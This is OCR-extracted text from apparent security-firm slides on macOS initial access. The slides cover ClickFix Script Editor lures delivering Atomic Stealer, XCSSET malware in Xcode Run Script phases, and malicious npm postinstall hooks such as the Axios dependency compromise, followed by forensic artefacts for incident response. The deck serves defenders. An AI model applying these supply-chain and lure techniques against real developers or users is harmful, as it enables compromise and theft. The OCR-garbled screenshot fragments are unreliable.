r Mac warns about low disk space, or when there
fer fites

ipt

script will open automatically in Script Editor

mac0S 26.0

{few Script to continue
imand {2¢) + R or click the » Play button in the

gript Edor

L. F5¢7 . Svoltovvstbbd Shihp314p9p 6L Exacuto

Source:
https://www.jamf.com/blog/clickfix-macos-script-editor-atomic-stealer/

@ Script from Unidentified Developer

This script is from an unidentitiod Seveloper. Your secutity preferences ace
set to bicck appiications from urédontified developers. Croate the scripgt

macOS 26.4

fespace com{?gad_source

e on your Mac

f Mac warns about low disk space, or when there
‘er files.

fipt

script will open automatically in Script Editor

lew Script to continue
imand (38) + R or click the » Play butten in the

Snpt Editor

2. £5¢7. 3votovvstbba3hhp314p9pte6s Execute
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I InfoGuard
Run MaIiCious COde SWISS CYBER SECURITY

 Run Script build phases: These phases execute shell commands during the build.

« The script can be inline in project.pbxproj or call another file in the repo.

l Run Script Build Phases

=1 - = - /M~ b

Xcode Project Run Script Phase Build Time Execution Shell Command Runs

O
a

Developer Build '__j Inline in | 9 Or calls
context variables = project.pbxproj ‘ C external script

{ @ . Legitimate Xcode feature — useful for supply-chain abuse }
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I InfoSuard
Most Prominent Example, XCSSET SUIES SURER SRR

« XCSSET is the best-known example of this
l Xcode Run Scripts

technique.

» First documented in 2020: malicious code —_ »
Injected into Xcode projects. A | — / e | I S P

» Reappeared with updated techniques in Xcode Project Build (Cmd-B) Run Script Phase  Shell Command Executes
2025.

Legitimate Xcode Can call inline or

« Current variants infect Xcode projects and @ feature @ RAlETuRTg Bl @ external scripts
may spread to other developer assets.

» Key point: building a project can be
enough to execute attacker code.

Source:

https://documents.trendmicro.com/assets/pdf/ XCSSET Technical Brief.pdf
https://www.microsoft.com/en-us/security/blog/2025/03/11/new-xcsset-malware-adds-new-obfuscation-persistence-techniques-to-infect-xcode-projects/
https://unit42.paloaltonetworks.com/xcsset-v40-malware-analysis/ 58
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Package manager for the JavaScript programming language



I InfoGuard
IntrOd UCtion SWISS CYBER SECURITY

 Most npm-managed Node.js projects contain a package.json, which can include a scripts section
defining commands for build, test, start, installation, and other workflows.

- preinstall, install, and postinstall are npm lifecycle hooks that can execute automatically as part

of an installation.
{}I T @ el =Rl
== postinstall

package.json npm install Shell command runs

Legitimate uses: ‘ Historic risk:

build, native modules, downloads install-time code execution | Q Refbchdncanberdinglgdons

npm <= 11 npm 12

Dependency install scripts often run automatically Dependency install scripts blocked by default
unless approved via allowScripts

N

o | Installing a package can mean executing publisher-controlled code.




I infosuard
We Are Doomed SWISS CYBER SECURITY

« On 31 March 2026, Axios releases introduced a malicous dependency:
* Axios
e L— plain-crypto-js@4.2.1
. L postinstall
. L— node setup.js

« The attacker did not even need to modify Axios application code. The dependency existed
primarily so npm would execute its lifecycle hook.

» |nstalling a dependency can historically have been equivalent to executing arbitrary publisher-
controlled code.

Source:
https://www.microsoft.com/en-us/security/blog/2026/04/01/mitigating-the-axios-npm-supply-chain-compromise 61
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I Initial Access Leaves Breadcrumbs

« Allls Not Lost )

Even if attackers are able to trick users into
downloading and or running malicious
binaries and scripts, this executions leave
traces on a system.

Yes — might be too late. However, better
than nothing.

Download

Browser history /
Downloads

Disk Image

Mount / filesystem
artefacts

Execution

Endpoint Security /
process telemetry

Persistence

BTM / LaunchAgents

infosuard

SWISS CYBER SECURITY

Origin

com.apple.quarantine

PKG

Receipts / installation
artefacts

AppleScript

osascript / Script Editor

TCC

TCC state / Unified Logs
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I Questions?

LinkedIn

macOS IR Training

infosuard

SWISS CYBER SECURITY
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